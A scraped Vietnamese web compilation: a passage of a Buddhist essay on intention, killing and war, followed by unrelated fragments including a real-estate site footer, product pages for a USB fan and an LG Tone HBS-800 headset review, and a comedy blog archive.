Trường hợp này cũng có thể đi theo chiều hướng tốt hoặc chiều hướng xấu. Nếu đã biết rõ đó là hành động xấu, đem lại kết quả xấu mà vẫn làm, chứng tỏ con người có lập trường, có quan điểm độc lập, có bản lĩnh, nhưng khó tiến bộ về phương diện đạo đức và tâm linh vô cùng. Tuy nhiên, họ cũng có thể tiến bộ, vì đã nhận ra đó là hành động xấu, có thể đem đến nghiệp quả xấu cho mình, cho nên các tâm niệm hối hận có thể xuất hiện. Chính nhờ các tâm niệm hối hận xuất hiện mà họ có thể quay đầu hướng thiện một cách dễ dàng.
**5. Một hành động bất thiện có chủ ý, biết rõ những gì đang làm, nhưng không nhận ra đó là hành động sai lầm**
Trường hợp này được cho là tệ hại nhất vì nó kết hợp với vô minh. Mặc dầu thông thường chúng ta dễ đi đến kết luận là hành động này vô tội, vì họ làm nhưng không biết đó là một hành động bất thiện, cứ tưởng rằng đó là đúng. Giống như một người gây tội giết người mà họ không biết hành động đó sẽ dẫn đến tù chung thân hoặc bị xử tử, vì họ không biết được luật pháp !
*Kinh Na-tiên Tỳ-kheo*[v] cho rằng kẻ trí làm điều dữ ít bị tai vạ hơn người ngu. Ngài Na-tiên đưa ra ví như hai người cầm một khúc củi cháy đỏ, người không biết nó nóng sẽ bị phỏng nhiều hơn người biết rõ nó nóng như thế nào. Vì người trí, khi phạm một lỗi lầm, có thể khởi lên tâm ân hận, ăn năn hối lỗi, hoặc làm các việc phước thiện để bù lại, còn người ngu thì không biết đó là tội, thế là làm hoài, các nghiệp ác làm nhân làm duyên cho nhau, thế là mãi miết làm ác và chịu quả báo đau khổ triền miên!
#### III. Phật giáo và Chiến tranh
**1. Quan điểm của Phật giáo về chiến tranh**
Nói một cách tổng quát, Phật giáo không chấp nhận chiến tranh dưới bất cứ hình thức nào, dù đó là chiến tranh dưới danh nghĩa gì. Vì chiến tranh là đồng nghĩa với tội ác, là gieo rắt sự nghèo nàn, tật bệnh, đói khát cho cả hai: chủ chiến và bị chiến. Chưa từng thấy có một đoạn nào Kinh điển nào trong Phật giáo tán thưởng đánh phá lẫn nhau, dù đó là đánh với danh nghĩa “cứu khốn phò nguy” hay danh nghĩa “bảo vệ quốc gia”. Như chúng ta thấy, chính dòng họ của đức Phật gần như gặp phải nạn diệt chủng, thế mà đức Phật không dùng thần thông để đánh bại kẻ thù, cứu lấy giòng tộc! Khi vua Tỳ-lưu-ly đem quân đánh phá thành Ca-tỳ-la-vệ để trả thù cái nợ xỉ nhục của ông khi trước, đức Phật đã ba lần trưa nắng ra tận biên ải để khuyến hóa vua Tỳ-lưu-ly cũng như để cản bước tiến của đoàn quân thiện chiến của Tỳ-lưu-ly. Nhưng kết quả ra sao? Bất thành! Vua Tỳ-lưu-ly đã làm cỏ dòng họ Thích-ca. Đặt trường hợp chúng ta, có lẽ chúng ta đã nghĩ rằng chúng ta phải có nhiệm vụ bảo vệ giang san, xã tắc, đánh bật kẻ thù, v.v…. và viện dẫn bao nhiêu là lý do để bào chữa hành động của mình. Nhưng đức Phật thì khác, với Phật nhãn Ngài biết rõ đâu là nhân, đâu là duyên của chiến tranh đó. Ngài còn chỉ trích các Bà-la-môn đã thọ nhận tín thí cúng dường mà còn bàn đến chiến sự
*(*số 1, thuộc **Kinh Phạm Võng**, *Trường Bộ Kinh*). Lại nữa, trong Giới của hàng Tỳ-khưu (số 48 thuộc Ba-dật-đề) không được xem diễn binh tập trận. Qua đó, chúng ta thấy thái độ của đức Phật, không giống như các vị giáo chủ khác, Ngài không hề quan tâm đến chính sự. Nói như vậy, không có nghĩa là cả cuộc đời đức Phật không có đối mặt đến những vấn đề chính trị, tội phạm, chiến tranh. Xin đưa ra hai dẫn chứng. Một lần dòng họ Sakya (Thích-ca) và dòng họ Koliya chuẩn bị đánh nhau vì tranh chiếm dòng nước. Ngài nhận thấy nhân duyên Ngài có thể hóa độ được, nên Ngài đã đích thân đến phân giải, cuối cùng hai bên đều hòa thuận và sử dụng chung dòng nước[vi]. Trường hợp thứ hai, khi vua A-xà-thế (Ajàtasattu) muốn cất binh đánh nước Vajjì, liền sai đại thần Vassakàra (Vũ-xá) đến thỉnh vấn đức Thế Tôn, đức Phật không trả lời trực tiếp, mà chỉ hỏi tôn giả A-nan (Ànanda) về truyền thống tốt đẹp của dân Vajjì có được gìn giữ không? Qua đó, đại thần Vassakàra đã hiểu được yếu chỉ của đức Thế Tôn muốn nói. *(*, số 16, thuộc **Kinh Ðại-bát Niết-bàn** *Trường Bộ*)
Trở lại vấn đề mà nhiều người thường đặt câu hỏi: Trường hợp các cuộc thánh chiến của Thiên Chúa giáo và Hồi giáo thời Trung cổ và cận đại, các cuộc thánh chiến xâm lăng thuộc địa của Hồi giáo ở vùng Trung Á và Tây Á, hoặc các cuộc xâm lăng của các Ðế quốc thuộc Thiên Chúa giáo để mở mang nước chúa, họ có tội không? Vì họ nghĩ rằng họ làm vì chúa, họ đâu làm vì bản thân họ, cho nên sẵn sàng hy sinh thân mình. Theo lời Phật dạy, gieo ác nhân thì gặt ác quả. Do đó, họ mãi bị cộng nghiệp chiến tranh, giết hại lẫn nhau, oan oan tương báo, không biết khi nào mới chấm dứt được.
**2. Quan điểm của Phật giáo về “lòng yêu nước”**
Có một số trường hợp buộc phải giết người, họ gọi là “tội ác cần thiết” (necessary evil), như giết kẻ thù để bảo tồn quốc gia, hành động đó được xếp vào loại nào? Họ vì yêu nước mà sẵn sàng hy sinh thân mình, lại bảo đó là một hành động bất thiện sao? Họ có thể là những con người lương thiện, đạo đức, yêu quê hương, yêu đất nước, yêu dân tộc, họ hy sinh vì sự nghiệp giải phóng dân tộc, lại gán cho họ là những kẻ ác nhân thì có lẽ là không công bằng! Họ giết giặc nhiều chừng nào thì chính thể đó trao huân chương nhiều chừng ấy, vậy theo quan điểm của đạo Phật thì sao? Theo đạo Phật, có rất nhiều cấp độ để chúng ta đánh giá hành động đó là thiện hay ác. Chứ chưa hẳn giết được nhiều giặc là hành động đáng khen ngợi, hoặc chưa hẳn trốn tránh nhiệm vụ của mình là hành động đáng tán thưởng. Tất cả phải tùy thuộc tâm của người ấy để đánh giá. Vì cùng ra trận để đánh kẻ thù, để bảo tồn quốc gia, nhưng tâm niệm khác nhau dẫn đến kết quả nghiệp báo khác nhau. Một người thực hiện một hành động vì mọi người thì kết quả khác xa so với một người làm để thỏa mãn tính hiếu sát của mình. Biết bao nhiêu người không nỡ hạ sát kẻ thù khi thấy kẻ thù đang thất thế, đớn đau. Cũng biết bao nhiêu người thỏa mãn, khoái trá khi thấy kẻ thù đang bị khổ sở, hành hạ!. Chính những tâm niệm này là nền tảng để chúng ta đánh giá cùng một hành động mà kết quả khác hay giống nhau.
Lại nữa, giết người thì phải đền mạng, đó là luật pháp của hầu hết mọi quốc gia. Còn trường hợp giết người lại được thưởng, đó là giết mấy tên trùm mafia, những tên tướng cuớp khét tiếng, đây cũng là điều khuyến khích của mọi quốc gia. Nếu chúng ta chỉ xét trên hành động, mà không xét về mục đích, động cơ thì mấy ông quan Tư Khấu thời xưa, nay là ban Tư Pháp sẽ là những người giết người nhiều nhất. Vì gần như ngày nào họ cũng phải dùng đến nhiều biện pháp để tra khảo, như đánh đập, tra tấn các tội nhân. Thậm chí phải giết bỏ, như vậy họ đều phạm tội sát sanh hay sao ? Không phải vậy, mỗi người có mỗi nhiệm vụ riêng, người làm quan phán xét theo luật pháp phân minh, góp phần tạo dựng xã hội được an bình, được thái hoà, thì rất có phước. Người làm lính, hết lòng bảo vệ biên cương lãnh thổ quốc gia cũng có phước. Đây là đạo đức nhiệm vụ của một người mà buộc phải chu toàn.
Nói như vậy, không có nghĩa là chúng tôi khuyến khích chiến tranh để tiêu diệt các tên khủng bố, hay tiêu diệt các tên trùm mafia. Như trên đã nói chiến tranh là đồng nghĩa với tội ác, mặc dù chúng ta thực hiện chiến tranh với một mục đích tốt đẹp cho mấy, nhưng không làm sao tránh khỏi tổn thương đến những đứa trẻ vô tội, con phải xa cha, vợ phải xa chồng, các bà mẹ sẽ vĩnh viễn không còn được trông thấy mặt con. Sau khói lửa chiến tranh, lưu lại bao tàn tích của tật nguyền, đói khát, bệnh hoạn v.v… nói không thể hết ! Chính vì vậy, các chính sách hoà giải, hiệp ước là chính sách tốt nhất mà đạo Phật hằng kêu gọi.
**3. Vài trường hợp sát sanh khi đức Phật còn đang tu hạnh Bồ-tát** *Ðại Phương Tiện Phật Báo Ân Kinh*(số 156) trong *Ðại Chánh Tân Tu Ðại Tạng Kinh*có trình bày câu chuyện tiền thân của đức Phật. Câu chuyện này có thể là một trong những dẫn chứng phù hợp cho trường hợp này. Thuở xưa lúc đức Phật Thích-ca còn đang trong quá trình tu tập, lúc bấy giờ Ngài buộc phải giết một kẻ làm trinh thám cho 500 tên cướp để ngăn chặn cuộc tấn công của 500 tên cướp này, mặc dầu người do thám đó đã từng là bạn của Ngài.
Một câu chuyện khác được đề cập trong
*Huệ Thượng Bồ-Tát Vấn Ðại Thiện Quyền Kinh*(số 345), lúc bấy giờ đức Phật còn đang tu hạnh Bồ-tát, Ngài là thuyền trưởng của đoàn thương buôn 500 người đã giết một tên tướng cướp để cứu lấy 500 thương nhân đó. Ngài nghĩ rằng nếu vì giết một tên cướp này mà Ngài phải vào địa ngục, Ngài cũng sẵn lòng, vì điều đó còn tốt hơn để chúng giết hại biết bao nhiêu người! Trên thực tế, sau khi thân hoại mạng chung, Ngài được tái sanh lên cảnh giới chư thiên. Sau này Ngài thành Phật cũng chịu quả báo, nhưng không phải quả báo mất mạng mà chỉ giẫm gai trên đường! **4. Lịch sử một vài nước Phật giáo với chiến tranh**
Trường hợp vì sự tồn vong của quốc gia mà giới sát có thể được xem là nhẹ. Trường hợp này có thể lấy điển hình ở Việt Nam vào thế kỷ XII, nhà Trần ba lần chiến thắng quân Nguyên Mông lừng lẫy, oai hùng dưới sự lãnh đạo tài tình của những người vừa là Phật tử vừa là những người cầm vận mệnh quốc gia. Nếu chúng ta cứ khư khư chấp chặt thì nhân dân Việt Nam có lẽ đã bị vó ngựa Mông Cổ giẫm nát rồi, chưa hẳn có một đất nước độc lập như ngày nay. Trường hợp như vậy, người cầm vận mệnh quốc gia phải đặt đại thể dân tộc lên hàng đầu, lấy nhiệm vụ lãnh đạo quốc gian đặt lên trên đạo đức bản thân. Do đó, cứu lấy nhân dân thoát khỏi ách xâm lược, đô hộ là phước đức, chứ không phải tội lỗi. Nếu chúng ta so sánh trận đánh của người Việt Nam xưa kia với trận đánh của Mỹ với Afghanistan vừa rồi, chắc chắn số người thiệt mạng cả Trung Hoa và Việt Nam hồi đó hơn không biết bao nhiêu lần số người thiệt mạng vừa rồi. Phật giáo không kết án những trận đánh như vậy, cũng không tán thán, mà tin tưởng có nghiệp báo vay trả nhiều đời nhiều kiếp.
Thế kỷ thứ XI dưới triều vua Langdarma, Phật giáo Tây Tạng bị pháp nạn. Nhà vua này vì nghe lời dèm pha của đạo Bön, ra lệnh tiêu diệt Phật giáo, phá chùa, giết Tăng. Hơn hai năm sau, có một vị Lạt-ma tên là Palgyi Dorjé lẻn vào cung ám sát vua rồi trốn đi. Nhờ đó Phật giáo không bị tiêu diệt hoàn toàn. Như vậy, người giết nhà vua đã hủy Phật, phá Tăng đó có phạm tội sát hay không? Theo nhân quả thông thường thì dễ đi đến kết luận là có, nhưng chưa hẳn, vì động cơ của người vị Tăng kia đâu phải giết người vì các tâm sở bất thiện như tham lam mà giết, sân hận mà giết, không thỏa mãn mà giết, mà giết chỉ vì động cơ bảo vệ chân lý, bảo vệ đời sống tâm linh cho mọi người. Nhân quả phức tạp trùng trùng, chứ không đơn giản là “gieo nhân nào gặt quả nấy”, do đó chưa hẳn vị Tăng ấy bị đọa vào các cảnh giới khổ đau như thông thường chúng ta nói. Chúng ta có thể tin được câu chuyện đức Phật trong thời quá khứ đã từng giết một tên cướp để cứu lấy 500 thương nhân, không phải vì thế mà đọa vào cõi xấu, ngược lại được sanh lên chư thiên, nhưng dư nghiệp cũng không tránh khỏi, đến khi thành bậc Chánh Ðẳng Giác rồi mà còn giậm phải gai nhọn. Trường hợp vị Tăng kia cũng vậy, nếu vì Chánh pháp trường tồn ở nhân gian hoặc vì an ninh của quốc gia mà buộc phải hạ sát một số người nào quá ác độc, theo thiển ý của người viết thì phước đức nhiều hơn tội.
Lại nữa, câu chuyện của Ngài Gunavarman (Cầu-na-bạt-ma), khoảng thế kỷ thứ V khi đến truyền giáo ở vùng Java, nay là Indonesia cũng là một dẫn chứng tốt để chúng ta học hỏi. Lúc bấy giờ Java bị vua lân bang đánh phá, nhà vua hỏi tôn giả Gunavarman có nên đánh trả không, vì sợ rằng điều đó trái với giới luật nhà Phật ? Tôn giả Gunavarman đã trả lời là nhà vua nên thực hiện nhiệm vụ của mình, nhưng khởi tâm đại bi thương xót mọi loài, bất đắc dĩ mới dùng hạ sách này[vii].
***
Tóm lại, Phật giáo không chủ trương sát sanh để mưu cầu hạnh phúc cho bản thân cũng như quyền lợi cho một nhóm hoặc cho dân tộc mình. Tuy nhiên, trong trường hợp cần phải bảo vệ dân tộc, bảo vệ chân lý thì các hình thức bạo động với thiện ý được cho phép, nhưng chỉ là giải pháp nhất thời, chứ không phải là giải pháp tối ưu. Đạo Phật là một đạo tôn trọng sự sống của mọi chúng sanh, không riêng gì con người. Do đó, bất cứ hình thức nào như tự mình giết, hoặc bảo người khác giết, hoặc thấy giết mà đem lòng vui đều không được chấp nhận đối với một Phật tử.
Trái đất này được xanh tươi hay không, nhân loại được hạnh phúc không, tuỳ thuộc rất lớn vào mỗi người. Trong vòng sinh tử vô tận, vô số những người thân của ta, nay trở thành thân hoặc sơ, thậm chí đứng ở thế hai chiến tuyến đối lập. Chiến tranh là đỉnh cao của thù hận, mâu thuẫn, sát sanh, tranh giành tài sản, v.v…. Đây là một nghiệp tích luỹ của tội ác và bạo tàn. Do đó, mỗi Phật tử chúng ta nên ăn chay, hoà thuận, biết sống san sẻ, thương yêu kẻ khác là gieo nhân hoà bình, đem lại nguồn an vui và thịnh lạc cho mỗi người và cho toàn thể xã hội. Được như vậy thì quý biết bao!
**“Hận thù diệt hận thù** **Đời này không có được** **Từ bi diệt hận thù** **Là định luật ngàn thu”** **(** *Kinh Pháp Cú*, số 5)
[i] Tác phẩm này được in tại Mỹ, do nhà xuất bản Library of Congress Cataloguing-in-Publication Data Pending tái bản lần thứ hai, năm 1996), trang 69. Một vài ý, chúng tôi có tham khảo cuốn sách này.
[ii] Trong cuốn
*The Buddhist Monastic Code*của Thanissaro Bhikkhu (in tại Mỹ, do nhà xuất bản Library of Congress Cataloguing-in-Publication Data Pending tái bản lần thứ hai, năm 1996), trang 69 ghi là có 6 trường hợp: Một là chính người đó giết bằng tay, chân, hoặc các loại vũ khí như dao, gậy, dùi cui, v.v…Hai là các hình thức ném, bắn như ném đá, bắn tên, hoặc là bắn súng. Ba là vận dụng quỷ kế, như sập bẫy, bỏ độc, v.v… Bốn là tà thuật như kêu gọi ác quỷ giết người, v.v…Năm là dùng năng lực tâm linh của mình để giết. Sáu là khuyến khích người khác giết người. Một số ý khác, chúng tôi cũng có tham khảo cuốn sách này.
[iii] Tác phẩm này chưa được dịch sang tiếng Việt và tiếng Anh, tài liệu này được rút ra từ cuốn
*The Buddhist Monastic Code*của Thanissaro Bhikkhu đã được giới thiệu ở trên.
[iv] Dựa theo cuốn
*An Introduction to Buddhist Ethics*: *Foundations, Values and Issues.*Cambridge: Cambridge University Press, 2000, trang 53-55.
[v] Xem ấn bản Internet có đăng trên trang nhà Buddhasasana do Binh Anson biên tập.
[vi] Câu chuyện này có thể coi trong nhiều nơi, đặc biệt bản sớ giải Kinh Pháp Cú bằng tiếng[vii] Câu chuyện trên được P.V. Bapat ghi trong cuốn
*Anh Dhammapada Commentary*(tr. E. W. Burlingame) *Buddhist Legends*, 3 vols., Harvard Orientation Series, Cambridge, Mass., Harvard University Press, 1921; repr. London, PTS, 1979. *2500 Years of Buddhism*(Phật Giáo 2500 Năm) in tại Delhi, Ministry of Information and Broadcasting, Government of India, 1st Ed. 1959, trang 83. Câu chuyện trên có thể xem trong **do Ðại Ðức Thích Hằng Ðạt biên soạn (phần IV) có đăng trên trang nhà Ðạo Phật Ngày Nay.** *Thần Tăng Thiên Trúc*
## Không có nhận xét nào:
## Đăng nhận xét

Server: GSE

Cache-Control: private, max-age=0


markdown:
Điện thoại liên hệ:
 093 881 7979
Nhận làm giấy tờKý gởi nhà, đất
Đăng tin VIP 300K/Tháng
Liên hệ: 096 175 0129
Ban nha dat quan 12
Công ty TNHH thương mại & dịch vụ Việt Thống Hưng Thịnh
Copyright © 2007 - 2017 muanhadatnhanh.com. ®Văn phòng giao dịch: 130C, Tô Ngọc Vân, P.Thạnh Xuân, Q.12, HCMHotline: 093-881-7979 - ĐT:(08).3884 2698 - (08).3716.4567Việt Thống - kênh thông tin hàng đầu về mua bán nhà đất quận 12
Chúng tôi không chịu trách nhiệm trên thông tin người dùng đăng tải. Các trường hợp vi phạm, chúng tôi sẽ tiến hành xử lý xóa bỏ ngay lập tức.

Server: nginx

Vary: Accept-Encoding,User-Agent


markdown:
## Mô tả sản phẩm
- Quạt USB kiểu Xiaomi được thiết kế 2 phần, phần thân và phần cánh quạt giúp bạn có thể dễ dàng tháo ra và cất giữ an toàn ko làm hư cánh quạt. Thân quạt dẻo, có thể bẻ cong mọi hướng một cách dễ dàng.
- Với công suất thấp chỉ 1W vừa tiết kiệm điện vừa đủ quạt mát cho người sử dụng. Quạt cực êm, dường như ko gây ra bất cứ tiếng ồn nào. Sản phẩm có thể cắm sử dụng ngay trên các thiết bị : pin sạc dự phòng, laptop, desktop, các ổ điện có cổng usb ….
- Dùng chung với pin sạc Xiaomi là 1 sự kết hợp hoàn hảo.
- Dùng với pin sạc Xiaomi 10400mAh có thể quạt liên tục 38 giờ
- Dùng với pin sạc Xiaomi 16000mAh có thể quạt liên tục 63 giờ
- Có nhiều màu: Xanh dương, Xanh Lá, Cam, Hồng, Đen & Trắng
- Đặc điểm sản phẩm:
- Tên sản phẩm: Quạt usb cánh tháo rời.
- Kích thước: 11.5cm
- Chất liệu: nhựa
- Màu sắc: Xanh, đỏ, đen, hồng, vàng
- Trọng lượng: 60gr
**Nếu bạn thích sản phẩm này hãy gọi ngay cho Mutu để được tư vấn mua hàng trực tiếp
**
## Đánh giá
Chưa có đánh giá nào.

Server: LiteSpeed

Link: <http://mutu.vn/?p=1268>; rel=shortlink


markdown:
## Mô tả sản phẩm
**Điểm cộng:** The LG Tone Ultra HBS-800 là tai không dây để thay thế cho những tai nghe tiền nhiệm và tạo sự thoải mái khi sử dụng. Nó cũng cung cấp âm thanh tốt hơn (thêm bass, rõ nét hơn) và tuổi thọ pin khá, đặc biệt là khi bạn bật tắt bỏ tiếng ồn. **Điểm trừ:** Đắt tiền hơn so với loại tai nghe trước đó của LG. Tính năng loại bỏ tiếng ồn dường như không tạo được sự khác biệt.
Tai nghe stereo Bluetooth vẫn còn hiếm so với tai nghe không dây, nhưng Tone HBS-700 và Tone + HBS-730 của LG đã được yêu thích từ lâu. Dây đeo / tích hợp thiết kế tai nghe của họ khá thoải mái khi sử dụng và bạn nhận được chất lượng âm thanh rất tốt – mức giá khoảng $ 50.
Tôi đã rất thích thú khi biết rằng LG đã hợp tác với JBL để đưa ra step-up model, Tone Ultra HBS-800, trong đó cung cấp “âm thanh nhãn hiệu của JBL,” công nghệ loại bỏ tiếng ồn hoạt động, và Google Voice Actions tích hợp để các bộ tính năng tìm thấy trong HBS-730. Thiết kế cũng đã được sửa đổi cho tốt hơn.
Trên tất cả the Tone Ultra HBS-800 là một sản phẩm là rất tốt. Vấn đề duy nhất là nó sẽ rơi vào khoảng $ 130 và, giá khởi điểm được bán với giá gần giá trực tuyến. Đó là nhiều hơn gấp đôi chi phí HBS-730, và trong khi âm thanh và thiết kế HBS-800 của là tốt hơn, cho một số người những cải tiến có thể không đáng kể. Nó cũng không giúp gì nhiều lắm cho việc loại bỏ tiếng ồn.
**Thiết kế và tính năng**
Tôi luôn luôn thích thiết kế của tai nghe của LG Tone. Phần dây đeo được thả lỏng quanh cổ của bạn và phần các nút điều khiển thì ở hai bên xương quai xanh của bạn, ánh sáng ở đó vừa đủ để sau một thời gian đeo bạn sẽ không nhận thấy sự có mặt của nó ở đó. Khi bạn không sử dụng tai nghe, bạn sẽ giữ chúng lại ở phần cổ áo sơ mi.
Trong việc chuyển từ Tone thành Tone +, LG chỉ được thực hiện những thay đổi rất nhỏ trong thiết kế. Nhưng với Tone Ultra, người dùng đã có một số lời phàn nàn. Ví dụ, rất nhiều người không thích cách sáng ánh sáng màu xanh cho bạn biết các thiết bị đã được ghép đôi không dây với thiết bị của bạn. Trong thiết kế này, ánh sáng bây giờ là một đèn LED nhỏ và nó được chuyển tới các cạnh bên trong của cổ áo sơ mi vì vậy nó ít nhìn thấy được.
Phần dây đeo uốn cong quanh cổ bạn và không có nhiều sự khác biệt, nhưng tai nghe tốt hơn một chút trên đầu vai của bạn. Quan trọng hơn, cả hai dây tai nghe và các clip đính kèm đã được làm cho dày lên.
Cuối cùng nhưng không kém phần quan trọng, các nhà thiết kế cũng thay đổi hình dạng của một số các nút sử dụng nhiều nhất, vì vậy bạn có thể dễ dàng vận hành chúng bằng cảm giác. Ví dụ, nút gọi câu trả lời / kết thúc có hình dáng như một chiếc điện thoại, không phải là một vòng tròn.
Giống như các loại tai nghe điển hình, tai nghe này cũng đi kèm với các kích cỡ eartips khác nhau. Để tối đa hóa phản ứng bass, bạn sẽ muốn lựa chọn kích cỡ nút tai thật chặt (Tôi có xu hướng phù hợp với các nút tai loại lớn nhưng trong trường hợp của HBS-800, tôi thấy nút tai ở mức trung bình sẽ tốt hơn vào ống tai của tôi).
Một điểm đáng chú ý là vỏ nhựa được xuất hiện để khiến mẫu này lớn hơn. Mặc dù giá cao hơn, nhưng chất lượng của HBS-800 cũng tốt hơn, ngoài các dây nói trên dày hơn và ốc vít, mẫu này sẽ chắc chắn hơn rất nhiều so với trước đây.
Khi tôi kết nối với iPhone 5S của tôi (tôi cũng đã thử nó với Samsung Galaxy S4 và Google Moto X), tôi cầm xung quanh với các điều khiển có thể hoạt động bằng cảm giác. Bạn có điều khiển âm lượng trên cạnh trái của headband và một nút gọi câu trả lời / kết thúc (như điều khiển giọng nói cũng) trên cùng bên trái. Cạnh phải là nơi bạn sẽ tìm thấy những ca khúc bỏ qua / chuyển tiếp trở lại điều khiển và phía trên bên phải đã tạm dừng và nút Play.
Nút loại bỏ tiếng ồn là khá nhỏ nhưng nếu bạn lướt ngón tay phải của bạn phía dọc theo phía bên phải của cổ áo bạn sẽ cảm thấy nó. Khi bạn bật chế độ này lên, một giọng nói sẽ phát ra cho biết bạn đã kích hoạt chế độ. Vấn đề duy nhất là nó dường như không thay đổi bất cứ điều gì. Tôi đặt một chiếc quạt ở cách tai tôi khoảng vài feet và bật chế độ này lên nhưng vẫn không có gì khác biệt. Tôi cũng đã thử nó ở bên ngoài đường phố New York và đã không nhận thấy sự thay đổi nào hết. Có lẽ nút bấm hủy bỏ tiếng ồn đó có ánh sáng phát ra khá đẹp nhưng thực tế là bạn chỉ cần nút chặt tai nghe vào tai bạn là đã có thể loại bỏ bớt tạp âm xung quanh mà không cần tới chế độ loại bỏ tiếng ồn.
Như với tất cả các loại tai nghe không dây khác, có một microphone tích hợp, và chất lượng (micro là ở phía trước của cổ áo). Nhưng nó không được tốt như tai nghe mono Bluetooth.
**Hiệu suất**
HBS-700 và HBS-730 không nhất thiết phải cung cấp âm thanh xuất sắc, nhưng lại phù hợp với mức giá của chúng, đặc biệt là với nhiều tai nghe Bluetooth trị giá hơn $ 100 và thường xuyên hơn $ 200 cho hơn tai nghe kích thước đầy đủ phí bảo hiểm.
HBS-800 có hỗ trợ APTX cho các thiết bị bao gồm tính năng (ví dụ như Galaxy S4 của Samsung). APTX có nghĩa vụ phải làm cho các kết nối Bluetooth âm thanh giống như kết nối có dây, nhưng tôi nghĩ rằng thật khó để nhận thấy sự khác biệt, trừ khi bạn đang nghe một tai nghe hiệu suất cao (hoặc loa). Tôi sẽ không mô tả Tone Ultra HBD-800 là một tai nghe hiệu suất cao.
Tuy nhiên, nó là một cải tiến so với mẫu trước đó Tone LG. Bass đầy đủ hơn và bạn nhận được rõ ràng hơn một chút. Nó phù hợp với Plantronics BackBeat Go 2 Bluetooth trong tai tai nghe, và giá bán lẻ với $ 79 hoặc $ 99 với sạc.
Xét trên mọi khía cạnh, bạn có thể có một tai nghe có dây mà âm thanh tốt với $ 30 (Moshi Mythro) và thậm chí cả $ 8 Panasonic Ergo Fit HJE-120s sử dụng khá tốt. Nhưng sự tiện lợi của tai nghe không dây và những gì bạn đang trả tiền cho là Tone Ultra LG là hoàn toàn xứng đáng.
LG dường như không có đối thủ cạnh tranh ở độ bền của pin. Với việc sử dụng tai nghe không có chế độ loại bỏ âm thanh, bạn có thể nghe được trong 15 giờ, khi bật chế độ loại bỏ âm thanh lên thì bạn sẽ sử dụng được trong 10 giờ. Tôi đã sử dụng tai nghe trong khi đi lại trên đường và một chút vào buổi sáng, và tôi chỉ phải sạc pin cho tới tận ngày thứ 3, tuy nhiên đó là khi tôi không bật chế độ loại bỏ âm thanh.
**Kết luận**
Với mức giá hiện tại của mình, tôi có khá nhiều cảm xúc với Tone Ultra HBS-800. Cả về thiết kế và chất lượng âm thanh, nó là một cải tiến so với người tiền nhiệm của nó, vì vậy nó xứng đáng được mọi người biết tới rộng rãi. Nhưng chất lượng thiết kế, chất lượng âm thanh và tính năng thiết lập không phải là một bước nhảy vọt như vậy mà tôi có thể gọi đây là một phiên bản tốt, đặc biệt là khi hiện tại HBS-730 được bán với giá khoảng $ 50 (trong bản chất, LG Tone mới này cạnh tranh với các cũ LG Tones). Nó cũng không giúp gì tôi trong việc loại bỏ tiếng ồn bên ngoài.
Mức giá lý tưởng của nó sẽ dao động trong khoảng từ $ 79 – $ 99. Thật không may, các nhà bán lẻ như Best Buy và những người khác buộc phải đẩy giá cao lên khi họ chào bán sản phẩm (hoặc nếu không họ sẽ không thu được tiền lãi từ việc bán tai nghe này).
Tôi nghĩ rằng LG Tone Ultra 800 sẽ giảm giá trong thời gian tới, và sẽ nâng cao điểm số của nó theo đánh giá của chúng tôi. Nhưng cho đến khi đó, một số ưu điểm của nó sẽ không được xem là tốt như hiện nay.
**Nếu bạn thích sản phẩm này hãy gọi ngay cho Mutu để được tư vấn mua hàng trực tiếp
**
## Đánh giá
Chưa có đánh giá nào.

Set-Cookie: woocommerce_recently_viewed=794; path=/

Link: <http://mutu.vn/?p=794>; rel=shortlink


markdown:
skip to main
|
skip to sidebar
Nguyễn Văn Quý
Subscribe:
Thứ Ba, 27 tháng 3, 2012
Hài kịch: Vỡ mộng - Hoài Linh, Nhật Cường, Lê Giang.. Part 4
Join us: facebook.com
Được đăng bởi
cao lo vuong
vào lúc
22:09
Gửi email bài đăng này
BlogThis!
Chia sẻ lên Twitter
Chia sẻ lên Facebook
Nhãn:
CƯỜNG
,
Giang...
,
Hài
,
Hai Hoai Linh
,
Hoài
,
kịch
,
Linh...
,
Mộng
,
nhất
,
Part
,
vỡ
Không có nhận xét nào:
Đăng nhận xét
Bài đăng Mới hơn
Bài đăng Cũ hơn
Trang chủ
Đăng ký:
Đăng Nhận xét (Atom)
Blog Archive
▼
2012
(603)
▼
tháng ba
(603)
Tết không thể vắng đàn bà [wWw.haikich.Us]
Ai mua hành tôi [wWw.haikich.Us] 1
Chuyện đi ăn cưới [wWw.haikich.Us]
Tân ô long viện [wWw.haikich.Us] 3
Đi thi hát [wWw.haikich.Us] 2
Chàng rẻ thông manh [wWw.haikich.us] 1
Cô gái và cục bứu [wWw.haikich.us] 1
Tân ô long viện [wWw.haikich.Us] 2
Phong thủy [wWw.haikich.Us] 2
Gia tài của mẹ [wWw.haikich.Us] 1
Lấy chồng dê [wWw.haikich.us] 2
Chàng ngốc phiêu lưu ký [wWw.haikich.Us] 1
Thành công và hạnh phúc [wWw.haikich.Us] 1
Thạch sanh lý thông [wWw.haikich.us] 1
Luật sư ở đợ [wWw.haikich.Us] 2
Rồng tại thiếu lâm 4 [wWw.haikich.Us]
Nghiệp cầm ca [wWw.haikich.Us]
Ma co that [wWw.haikich.us] 1
Phong thủy [wWw.haikich.Us] 1
Tết cháy OSin [wWw.haikich.Us] 1
Rồng tại thiếu lâm 1 [wWw.haikich.Us]
Tân ô long viện [wWw.haikich.Us] 1
Tầm xuân [wWw.haikich.Us]
Ba miền bắc trung nam [wWw.haikich.Us]
200 đô [wWw.haikich.Us]
Đánh ghen [wWw.haikich.Us]
Tiên ơi [wWw.haikich.Us]
Lấy vợ sài gòn [wWw.haikich.Us] 1
Cùng rước nàng xuân [wWw.haikich.Us]
Tôi không thích tết [wWw.haikich.Us]
Hoài Linh: Kungfu Liveshow (Đặc biệt) (Phần 1/2)
Hoài Linh - Chí Tài: Gái Xuân
Dâu đất khách - Hoài Linh - Phi Nhung - itmevn.net...
Dâu đất khách - Hoài Linh - Phi Nhung - itmevn.net...
Hoai Linh Ky An - Troi Xanh Nho Le
2 trong 1 [wWw.haikich.Us]
Hoai Linh - Con Duong Nghe Thuat Chong Gai part 2
Liveshow Nhật Cường [wWw.haikich.Us] 1
Vua heo [wWw.haikich.Us] 1
Hoai Linh 4 - Cuop Bien Vung Caribe -01.avi
Dê nhầm nàng dâu [wWw.haikich.us] 1
Vì sao tôi điên [wWw.haikich.us]
Moi tinh miet vuon [wWw.haikich.Us] 1
Tiểu Phẩm Rượu - Hoài Linh & Nụ Cười Mới (Kungfu L...
Chỉ tại nhiều chuyện [wWw.haikich.Us] 1
Cây tre trăm đốt [wWw.haikich.Us] 3
